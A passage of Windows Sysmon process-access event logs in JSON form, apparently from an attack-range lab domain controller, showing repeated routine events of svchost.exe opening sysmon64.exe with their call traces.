{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.628\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.628","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.628\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.628","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 